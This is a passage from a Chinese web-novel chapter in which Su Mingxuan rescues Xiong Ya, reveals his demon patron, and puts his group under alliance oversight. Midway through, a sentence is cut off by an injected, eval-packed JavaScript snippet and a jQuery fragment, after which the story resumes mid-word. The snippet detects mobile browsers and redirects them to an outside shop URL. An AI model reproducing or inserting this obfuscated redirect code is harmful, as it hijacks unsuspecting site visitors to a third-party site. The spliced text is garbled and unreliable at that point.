“你是谁的孩子,有什么背景很重要吗?”苏明璇抬手挥出一道劲风落地成龙卷呼啸而去。
轰——
噼里啪啦哗啦啦啦
只听一声地动山摇的巨响后,那间被异能封锁起来的窑洞顷刻之间垮塌成一片废墟,坐在窑洞最里面角落处的熊亚在漱漱而下的砂砾中抬起头。
大卫还沉浸在苏明璇的话里,难言的感动与开心从嘴角蔓延到脸上,像个得到心心念念糖果的孩子般雀跃。
他从小到大都没什么朋友,知道自己是魔物也不敢轻易接近别人,怕被讨厌,勾追是第一个明知道他是魔物还和他交朋友的人。
苏明璇和小枫是第二个,他真的很开心朋友们都不在意他是魔物!
勾追看他不值钱的样子就想翻白眼,心里也难免被苏明璇的话触动。
“有一句话我觉得你们应该要知道。”苏明璇淡淡的看着熊亚从废墟中走出,清瘦的少年金橘色卷发,眉眼平和,确实是很像天使。
勾追和大卫全都聚精会神的等她说,全然不在意那个被救的人是谁。
“当你因为某个人感到迷惑的时候,抛开他的出身背景等等所有的外在条件,只看他本人的所作所为和你的所思所感,虽然不客观,但却让你看到最真实的自己的心。”
“外在条件就像衣服,一个人是什么样子,要看你眼里看到的和心里感受到的,其他的都不重要。”
有点深奥,勾追和大卫王听不太懂,但隐约是明白苏明璇告诉他们的意思是要学会用心感受。
熊亚走过来时恰好听到这句,他被关在这里的几天曾经崩溃,痛苦又绝望地审视自己,情绪潮起潮落耗尽心神。
在最绝望的认为不会有人能救他的时候,偏偏有人出现救了他。
正是最心力交瘁到倦乏无力的时候,听到这样一句话,无异于给了崩溃的他一个重新站起来的理由和支撑。
让他感觉事情还没有到最糟的一步。
“多些你们的出手相救,有什么我能帮得上忙的请不要客气,但我好像不认识你们,可以告诉我你们的名字吗?”
熊亚声音温和带着点嘶哑,哪怕狼狈的满身都是尘土依旧不温不火“总不能连是谁救了我都不知道。”
“我叫大卫王,他是勾追,我们两个没出力啦,是明璇姐救得你,你谢她就好。”
“苏明璇,你也可以叫我副盟主。”
苏明璇神色平淡,有种漫不经心的慵懒,让他有些紧张的神色微微放松下来。
“现在铜时空的异能行者都归我管,你的恶女团有些麻烦,需要你自己解决,不然我的手段可能不太温和。”
熊亚瞳孔微缩,心里咯噔一下,长久失温的手指都僵硬的颤抖了一下,“抱歉,是我闯的祸,我会想办法善后,解散恶女团,希望您能给她们一次机会,他们什么都不知道,只是被加……被我骗了。”
“你现在知道你幕后老板的身份了吗?”苏明璇问。
熊亚摇了摇头,“我没有见到他就被打晕了,然后就被关在这里,但我知道他或许是有什么见不得光的身份,不然没有必要这样做。”
“这样啊。”苏明璇沉吟一下,“恶女团暂时不必解散,但毕竟你们都是异能行者,在不保证你们立场的前提下我不能让你们自由行动,这对普通人来说是个隐患。”
勾追神色微妙的抿住唇,拉着大卫到一边去“你不是饿了吗?趁着她谈正事,你赶快吃,不然等下回去没得吃。”
大卫王单纯的点点头,赶紧掏出吃的就开始大吃特吃,嘴里都是食物含糊的说“追,你真好!”
“……”
熊亚的脸色白的像纸,“……她们会怎么样?”
苏明璇犹豫一下,无声的运转读心术,淡淡道:“首先我要告诉你,你背后的老板是纯种日行者的王族,让你成立恶女团是为了收集种子供他吞噬恢复力量,你们在作恶,哪怕你们并不知情。”
熊亚抿住惨白的唇,眼睫颤抖的低下头。
“其次,你是魔物和异能行者的混血,体质很特别,能够读懂人心和情绪,也容易吸引魔物,他不会放过你。”
“是我的错,是我错信他人,把魔鬼当成救命的神灯,害了自己也害了恶女们,但他们是无辜的,副盟主,求您……”青年眼眶湿红,神色苍白破碎,仿佛轻轻一碰就会碎裂的瓷器。
苏明璇眼中似有悲悯,看着神色痛苦,眼眸泛红的青年,“这就是我要说的第三件事,恶女团我可以收编,但条件是她们必须戴上检测手环,接受联盟的审查,之后的任务委派会由专人负责。”
熊亚没有血色的脸庞像是即将凋零的花瓣,颓然无助的躬下身子,他似乎被这接二连三的消息击垮,迟迟回不过神来。
加百列可能是魔物这件事他虽然事先有所猜测,但到底没有被证实,心中还抱着一丝侥幸。
他被关在这深山老林中,被背叛的痛苦和对恶女团的愧疚折磨他更多。
他不愿意相信自己居然会如此全心全意的信赖一个魔物!
他因魔物而父母双亡,为了复仇他成立恶女团,就是为了不让更多人像他一样被魔物迫害,可是最后他却成为自己最憎恨的魔物的帮凶!
此时他心中最坏的预料被证实,却还有更坏的情况,恶女团在不知情的情况下为魔物收集种子,这和通敌没有差别,哪怕是不知情,但做了就是做了。
一句不知情不能抹消他们做下的恶,哪怕那些魔物本身就该死,但这些魔物最终成为喂养一个更大怪物的食粮,罪恶同样深重。
“我知道了。”熊亚脑子里一团乱麻,几乎无法思考麻木的点点头,接受这个结果“那他们需要戴多久?”
苏明璇饶有兴致的打量他“你只关心他们,不问问自己的处境吗?”
熊亚惨然一笑,“无所谓了,是我犯的错,是我做的恶,不管怎么处置,我都接受。”
“很好,她们需要接受一年的审查,你却要永久的成为联盟监管对象,在这期间你除了我安排的人之外不可以与外界联系,也不能与任何人接触,直到有新的安排,明白吗?”
熊亚点点头,心如死灰似乎不太恰当,但无欲无求也是真的。
“你的恶女们被我收编,在她们契约失效后,他们的诉求我会解决,这算是你配合的奖励。”
熊亚轻笑,他心里最后一丝负担也被很好的解决,他已经没有什么遗憾,这是很好的结果。
他知道这样的结果已经算是轻拿轻放,这位副盟主也是很温柔的人呢。
一切尘埃落定,他到这时候才放松下来,看着苏明璇温柔雅致如江南烟雨的脸,与她刚刚雷厉风行的处事作风不太搭。
苏明璇完全是因为耽误太多时间,有些不耐烦了。
铁时空她离开这么久还不知道什么样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243922|194568||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子,铜时空这边被恶女团的安排拖慢好几天进度,已经让她的耐心快见底。
她甚至设想过,如果熊亚出来之后不配合,她就只能抱歉的将他永久留在这里,变成一个无人知晓的秘密。
也幸好他还算配合,让她省下不少功夫。
读心的结果她还算满意,良善但有底线,责任心强,不是固执己见的类型,能听进去话还算乖巧。
资质也很不错,用的好说不定是把神兵利器,只需要稍作打磨。
“勾追,来一下。”苏明璇忽然道。
勾追抬头向她走过来“什么事?”
“他叫熊亚,是恶女团的首领,暂时先把人交给你,等我有新安排再说。”
熊亚向勾追点点头,“你好,我是熊亚。”
“勾追。”勾追朝他一扬下巴,随后问苏明璇“现在可以回去了吗?”
苏明璇点点头,带着几人离开。
勾追小声问:“你感受得到藏在幕后那个人的毁灭指数有多少吗?”
苏明璇眸光淡淡,“一万八千多,这应该不是他的全部实力,巅峰时应该能有个两万出头?”
熊亚在后面听着,缓缓攥紧拳头,那双温柔的眼底氤氲着风暴般的恨意,点点血渍浸入指缝。
但他更清楚的是,他的毁灭指数还不到九千,想要报仇根本遥遥无期。
“副盟主,你之前说,我的父亲也是……魔物?”熊亚眼底透红,声音是极力稳定后的微颤“那我家惨遭祸事,是不是……”
“嗯,日月王干的。”苏明璇手插在兜里,嘴里咬着棒棒糖声音有些含糊不清的说“为了得到你这么体质特殊的工具,他筹谋已久呢。”
心中最后一块大石头终于落下,熊亚垂头轻笑,笑声里含着无尽的嘲讽和苦涩,像是哽咽,又像是讥笑。
透明的水珠从卷发中滴落,苍白细长的手指颤抖着捂住脸,手背到手臂的筋络霎时间绷起扭曲。
满是泥泞坎坷的路面一不留神鞋子就会陷进去,他脚步踉跄,似乎没有力气的向前跌倒。
大卫王于心不忍,错步过去扶住他,磕磕绊绊道:“熊亚同学,你也不要太伤心,我想令尊令堂在天上应该也不想你这样才对。”
熊亚感受得到身边人的情绪,知道大卫王是一片好意,强自笑着点点头,“我知道,谢谢你。”
他什么都明白,只是心里面过不去,为仇人卖命,不知道在天上的父母对自己该有多失望?
苏明璇读到他心中宛如废墟般万念俱灰,眉头微蹙,新玩具到手还没玩就坏了可不行。
“也许,像我这样的杂种,本就不该存在。”熊亚苦笑着轻声说。
苏明璇轻“啧”一声,年纪轻轻怎么脑瓜子这么轴啊?
“你错了,你存在恰恰证明天使和恶魔曾经相爱过,你是一个奇迹,多少人在觊觎你,你的父母拼死保护你也是因为你是他们爱的延续。”
熊亚怔怔的望着苏明璇的背影,“……是这样吗?”
“当然,你母亲和你父亲相爱还有了你,她真的不知道你父亲是魔物吗?”苏明璇轻笑“你未免有点太低估女人的直觉。”
大卫王点点头,“纯种的日行者和人类平时是没什么差别啦,只要不主动暴露是能藏得住的,但很多时候那种与生俱来的不同还是无可避免的。”
比如说寿命,嗜血以及对情绪敏感等等本能。